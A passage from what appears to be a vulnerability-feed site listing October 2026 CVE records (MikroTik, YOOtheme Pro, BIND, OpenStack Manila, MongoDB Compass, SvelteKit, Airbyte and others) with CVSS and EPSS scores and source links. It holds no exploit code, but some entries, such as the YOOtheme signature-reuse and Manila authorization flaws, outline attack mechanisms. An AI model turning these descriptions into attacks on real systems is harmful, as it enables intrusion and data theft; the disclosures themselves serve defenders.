MikroTik RouterOS through 7.24.5 contains a session token replay vulnerability in the WebFig interface that allows attackers to bypass authentication by replaying captured session tokens across new ECDH sessions. The makeSessionKey function in libucrypto.so generates tokens using fixed salts without incorporating channel-specific or session-specific input, and the user service validates tokens against the login store without verifying channel context, enabling stolen tokens to grant persistent administrative access until the token store is explicitly cleared. This vulnerability extends the impact of CVE-2025-61481, which identified the underlying transport-layer exposure without a corresponding fix.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Joomla Extension - yootheme.com - Unauthenticated remote code execution in YOOtheme Pro 5.0.0-5.0.52 - YOOtheme Pro’s publicly accessible image transformation handler incompletely...
https://kevwire.com/record/CVE-2026-102785
Joomla Extension - yootheme.com - Unauthenticated remote code execution in YOOtheme Pro 5.0.0-5.0.52 - YOOtheme Pro’s publicly accessible image transformation handler incompletely... (Oct 22, 2026).
Joomla Extension - yootheme.com - Unauthenticated remote code execution in YOOtheme Pro 5.0.0-5.0.52 - YOOtheme Pro’s publicly accessible image transformation handler incompletely binds normalized image operations and the output destination to its request signature. An unauthenticated remote attacker can reuse a signature disclosed in a legitimate public image URL, inject additional image operations, traverse out of the intended cache directory, and write an attacker-controlled PNG/PHP polyglot to an executable public media directory.
CVSS 10.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102785).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102785&date=2026-10-25).
Sources:
NVD CVE-2026-102785: https://nvd.nist.gov/vuln/detail/CVE-2026-102785
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102785&date=2026-10-25
Joomla Extension - yootheme.com - Unauthenticated remote code execution in YOOtheme Pro 5.0.0-5.0.52 - YOOtheme Pro’s publicly accessible image transformation handler incompletely binds normalized image operations and the output destination to its request signature. An unauthenticated remote attacker can reuse a signature disclosed in a legitimate public image URL, inject additional image operations, traverse out of the intended cache directory, and write an attacker-controlled PNG/PHP polyglot to an executable public media directory.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The PEAK-System PCAN parser indexes a length table using attacker-controlled DLC without enforcing DLC <= 0x0f, then copies attacker payload from record+0x1c into a fixed-size...
https://kevwire.com/record/CVE-2026-103672
The PEAK-System PCAN parser indexes a length table using attacker-controlled DLC without enforcing DLC <= 0x0f, then copies attacker payload from record+0x1c into a fixed-size... (Oct 20, 2026).
The PEAK-System PCAN parser indexes a length table using attacker-controlled DLC without enforcing DLC <= 0x0f, then copies attacker payload from record+0x1c into a fixed-size stack destination.
CVSS 6.9 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103672).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103672&date=2026-10-25).
Sources:
NVD CVE-2026-103672: https://nvd.nist.gov/vuln/detail/CVE-2026-103672
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103672&date=2026-10-25
The PEAK-System PCAN parser indexes a length table using attacker-controlled DLC without enforcing DLC <= 0x0f, then copies attacker payload from record+0x1c into a fixed-size stack destination.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an OS Command in Security Toolbox versions before 20260929 in Qingteng Host Adaptive Security Platform (Host Monitoring) V3.0...
https://kevwire.com/record/CVE-2026-105044
Improper Neutralization of Special Elements used in an OS Command in Security Toolbox versions before 20260929 in Qingteng Host Adaptive Security Platform (Host Monitoring) V3.0... (Oct 21, 2026).
Improper Neutralization of Special Elements used in an OS Command in Security Toolbox versions before 20260929 in Qingteng Host Adaptive Security Platform (Host Monitoring) V3.0 allows an authenticated console administrator to execute arbitrary commands on attached clients via OS command injection
CVSS 8.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105044).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105044&date=2026-10-25).
Sources:
NVD CVE-2026-105044: https://nvd.nist.gov/vuln/detail/CVE-2026-105044
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105044&date=2026-10-25
Improper Neutralization of Special Elements used in an OS Command in Security Toolbox versions before 20260929 in Qingteng Host Adaptive Security Platform (Host Monitoring) V3.0 allows an authenticated console administrator to execute arbitrary commands on attached clients via OS command injection

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MongoDB Compass improperly escapes certain BSON values when converting a stored view’s aggregation pipeline into editable source.
https://kevwire.com/record/CVE-2026-113870
MongoDB Compass improperly escapes certain BSON values when converting a stored view’s aggregation pipeline into editable source. (Oct 21, 2026).
MongoDB Compass improperly escapes certain BSON values when converting a stored view’s aggregation pipeline into editable source. When a user connects to a MongoDB deployment containing a specially crafted view and opens that view for editing, the values can cause arbitrary code to execute with the privileges of the user running Compass.
CVSS 8.6 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113870).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113870&date=2026-10-25).
Sources:
NVD CVE-2026-113870: https://nvd.nist.gov/vuln/detail/CVE-2026-113870
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113870&date=2026-10-25
MongoDB Compass improperly escapes certain BSON values when converting a stored view’s aggregation pipeline into editable source. When a user connects to a MongoDB deployment containing a specially crafted view and opens that view for editing, the values can cause arbitrary code to execute with the privileges of the user running Compass.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Mandiant FLARE capa releases before 10.0.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the capa...
https://kevwire.com/record/CVE-2026-114197
Deserialization of untrusted data in Mandiant FLARE capa releases before 10.0.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the capa... (Oct 21, 2026).
Deserialization of untrusted data in Mandiant FLARE capa releases before 10.0.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the capa utility
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114197).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114197&date=2026-10-25).
Sources:
NVD CVE-2026-114197: https://nvd.nist.gov/vuln/detail/CVE-2026-114197
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114197&date=2026-10-25
Deserialization of untrusted data in Mandiant FLARE capa releases before 10.0.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the capa utility

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Mandiant FLARE floss releases before 3.2.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the floss...
https://kevwire.com/record/CVE-2026-114198
Deserialization of untrusted data in Mandiant FLARE floss releases before 3.2.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the floss... (Oct 21, 2026).
Deserialization of untrusted data in Mandiant FLARE floss releases before 3.2.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the floss utility
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114198).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114198&date=2026-10-25).
Sources:
NVD CVE-2026-114198: https://nvd.nist.gov/vuln/detail/CVE-2026-114198
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114198&date=2026-10-25
Deserialization of untrusted data in Mandiant FLARE floss releases before 3.2.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the floss utility

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In a BIND resolver, inbound DNS protocol messages with a particular structure will result in additional processing, with no limit imposed by BIND.
https://kevwire.com/record/CVE-2026-19630
In a BIND resolver, inbound DNS protocol messages with a particular structure will result in additional processing, with no limit imposed by BIND. (Oct 21, 2026).
In a BIND resolver, inbound DNS protocol messages with a particular structure will result in additional processing, with no limit imposed by BIND.  A DNS message with a maliciously large number of such structures will cause BIND to consume disproportionate amounts of CPU time and memory during processing.
This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19630).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19630&date=2026-10-25).
Sources:
NVD CVE-2026-19630: https://nvd.nist.gov/vuln/detail/CVE-2026-19630
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19630&date=2026-10-25
In a BIND resolver, inbound DNS protocol messages with a particular structure will result in additional processing, with no limit imposed by BIND.  A DNS message with a maliciously large number of such structures will cause BIND to consume disproportionate amounts of CPU time and memory during processing.
This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In OpenStack Manila before 23.0.1, multiple Manila API operations on public shares do not verify that the caller owns the share.
https://kevwire.com/record/CVE-2026-71195
In OpenStack Manila before 23.0.1, multiple Manila API operations on public shares do not verify that the caller owns the share. (Oct 21, 2026).
In OpenStack Manila before 23.0.1, multiple Manila API operations on public shares do not verify that the caller owns the share. The API controllers authorize operations against the caller's own project context, then load a foreign public share without re-authorizing against the share's actual owner. This affects the following operations: allow_access: grant data-plane read/write access to another tenant's share; deny_access: revoke the owner's existing access rules; update_access: escalate access level (e.g., ro to rw); create_share_backup: exfiltrate share data via a backup created under the attacker's project; soft_delete: move a foreign share to the recycle bin; restore: interfere with the owner's deletion workflow; export location metadata: create, update, and delete metadata on foreign export locations; access rule listing: disclose IPs, usernames, and CephFS keys. Any authenticated project member can exploit these operations on any public share. The share UUID is visible since the share is public.
CVSS 9.9 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71195).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-71195&date=2026-10-25).
Sources:
NVD CVE-2026-71195: https://nvd.nist.gov/vuln/detail/CVE-2026-71195
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-71195&date=2026-10-25
In OpenStack Manila before 23.0.1, multiple Manila API operations on public shares do not verify that the caller owns the share. The API controllers authorize operations against the caller's own project context, then load a foreign public share without re-authorizing against the share's actual owner. This affects the following operations: allow_access: grant data-plane read/write access to another tenant's share; deny_access: revoke the owner's existing access rules; update_access: escalate access level (e.g., ro to rw); create_share_backup: exfiltrate share data via a backup created under the attacker's project; soft_delete: move a foreign share to the recycle bin; restore: interfere with the owner's deletion workflow; export location metadata: create, update, and delete metadata on foreign export locations; access rule listing: disclose IPs, usernames, and CephFS keys. Any authenticated project member can exploit these operations on any public share. The share UUID is visible since the share is public.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in Cerberus FTP Server allows an authenticated remote attacker to perform UNC path injection via a manipulated parameter.
https://kevwire.com/record/CVE-2026-82819
A vulnerability in Cerberus FTP Server allows an authenticated remote attacker to perform UNC path injection via a manipulated parameter. (Oct 21, 2026).
A vulnerability in Cerberus FTP Server allows an authenticated remote attacker to perform UNC path injection via a manipulated parameter. By supplying a malicious SMB share path, an attacker can execute authentication coercion against the underlying server, resulting in the leakage of the Cerberus service account's Net-NTLMv2 hash. This issue has been resolved in Cerberus FTP Server: 2026.3.0.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82819).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82819&date=2026-10-25).
Sources:
NVD CVE-2026-82819: https://nvd.nist.gov/vuln/detail/CVE-2026-82819
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82819&date=2026-10-25
A vulnerability in Cerberus FTP Server allows an authenticated remote attacker to perform UNC path injection via a manipulated parameter. By supplying a malicious SMB share path, an attacker can execute authentication coercion against the underlying server, resulting in the leakage of the Cerberus service account's Net-NTLMv2 hash. This issue has been resolved in Cerberus FTP Server: 2026.3.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A BIND resolver that is configured with both a "redirect" zone and "qname-minimization strict" may abort with an assertion failure while processing the redirect.
https://kevwire.com/record/CVE-2026-96888
A BIND resolver that is configured with both a "redirect" zone and "qname-minimization strict" may abort with an assertion failure while processing the redirect. (Oct 21, 2026).
A BIND resolver that is configured with both a "redirect" zone and "qname-minimization strict" may abort with an assertion failure while processing the redirect.
This issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.16.8-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96888).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96888&date=2026-10-25).
Sources:
NVD CVE-2026-96888: https://nvd.nist.gov/vuln/detail/CVE-2026-96888
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96888&date=2026-10-25
A BIND resolver that is configured with both a "redirect" zone and "qname-minimization strict" may abort with an assertion failure while processing the redirect.
This issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.16.8-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A recursive BIND server that receives a query with recursion desired (RD=1) followed by a non-recursive query (RD=0) may exit with an assertion failure, resulting in a denial of...
https://kevwire.com/record/CVE-2026-97313
A recursive BIND server that receives a query with recursion desired (RD=1) followed by a non-recursive query (RD=0) may exit with an assertion failure, resulting in a denial of... (Oct 21, 2026).
A recursive BIND server that receives a query with recursion desired (RD=1) followed by a non-recursive query (RD=0) may exit with an assertion failure, resulting in a denial of service. To be vulnerable, the BIND server must allow recursive queries and have at least two RPZ zones configured: one with the default setting of "recursive-only yes", and the other with "recursive-only no".
This issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97313).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97313&date=2026-10-25).
Sources:
NVD CVE-2026-97313: https://nvd.nist.gov/vuln/detail/CVE-2026-97313
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97313&date=2026-10-25
A recursive BIND server that receives a query with recursion desired (RD=1) followed by a non-recursive query (RD=0) may exit with an assertion failure, resulting in a denial of service. To be vulnerable, the BIND server must allow recursive queries and have at least two RPZ zones configured: one with the default setting of "recursive-only yes", and the other with "recursive-only no".
This issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-95641
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95641).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95641&date=2026-10-25).
Sources:
NVD CVE-2026-95641: https://nvd.nist.gov/vuln/detail/CVE-2026-95641
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95641&date=2026-10-25
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to bypass security restrictions due to incorrect authorization.
https://kevwire.com/record/CVE-2026-95695
IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to bypass security restrictions due to incorrect authorization. (Oct 13, 2026).
IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to bypass security restrictions due to incorrect authorization.
CVSS 7.4 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95695).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95695&date=2026-10-25).
Sources:
NVD CVE-2026-95695: https://nvd.nist.gov/vuln/detail/CVE-2026-95695
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292228
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95695&date=2026-10-25
IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to bypass security restrictions due to incorrect authorization.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SvelteKit (@sveltejs/kit) from 2.10.0 before 3.0.0 contains a path traversal vulnerability in the vite preview server on Windows that allows unauthenticated attackers to read...
https://kevwire.com/record/CVE-2026-114063
SvelteKit (@sveltejs/kit) from 2.10.0 before 3.0.0 contains a path traversal vulnerability in the vite preview server on Windows that allows unauthenticated attackers to read... (Oct 21, 2026).
SvelteKit (@sveltejs/kit) from 2.10.0 before 3.0.0 contains a path traversal vulnerability in the vite preview server on Windows that allows unauthenticated attackers to read files outside the prerendered output directory. Attackers who can reach the preview server through network access or a tunnel can send crafted requests to expose source code, configuration, or credentials readable by the server process.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114063).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114063&date=2026-10-25).
Sources:
NVD CVE-2026-114063: https://nvd.nist.gov/vuln/detail/CVE-2026-114063
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114063&date=2026-10-25
SvelteKit (@sveltejs/kit) from 2.10.0 before 3.0.0 contains a path traversal vulnerability in the vite preview server on Windows that allows unauthenticated attackers to read files outside the prerendered output directory. Attackers who can reach the preview server through network access or a tunnel can send crafted requests to expose source code, configuration, or credentials readable by the server process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Luxion KeyShot BIP File Parsing Uncontrolled Search Path Element Remote Code Execution Vulnerability.
https://kevwire.com/record/CVE-2026-92202
Luxion KeyShot BIP File Parsing Uncontrolled Search Path Element Remote Code Execution Vulnerability. (Oct 21, 2026).
Luxion KeyShot BIP File Parsing Uncontrolled Search Path Element Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Luxion KeyShot. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of BIP files. The issue results from loading a library from an unsecured location. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29268.
CVSS 7.8 (version 3.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92202).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92202&date=2026-10-25).
Sources:
NVD CVE-2026-92202: https://nvd.nist.gov/vuln/detail/CVE-2026-92202
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92202&date=2026-10-25
Luxion KeyShot BIP File Parsing Uncontrolled Search Path Element Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Luxion KeyShot. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of BIP files. The issue results from loading a library from an unsecured location. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29268.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Airbyte SharePoint Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability.
https://kevwire.com/record/CVE-2026-92203
Airbyte SharePoint Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability. (Oct 21, 2026).
Airbyte SharePoint Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of Airbyte. Authentication is required to exploit this vulnerability.

The specific flaw exists within the implementation of the _get_shared_drive_object method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-28215.
CVSS 7.7 (version 3.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92203).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92203&date=2026-10-25).
Sources:
NVD CVE-2026-92203: https://nvd.nist.gov/vuln/detail/CVE-2026-92203
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92203&date=2026-10-25
Airbyte SharePoint Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of Airbyte. Authentication is required to exploit this vulnerability.

The specific flaw exists within the implementation of the _get_shared_drive_object method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-28215.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Airbyte OneDrive Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability.
https://kevwire.com/record/CVE-2026-92204
Airbyte OneDrive Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability. (Oct 21, 2026).
Airbyte OneDrive Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of Airbyte. Authentication is required to exploit this vulnerability.

The specific flaw exists within the _get_shared_drive_object method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-28216.
CVSS 7.7 (version 3.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92204).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92204&date=2026-10-25).
Sources:
NVD CVE-2026-92204: https://nvd.nist.gov/vuln/detail/CVE-2026-92204
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92204&date=2026-10-25
Airbyte OneDrive Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of Airbyte. Authentication is required to exploit this vulnerability.

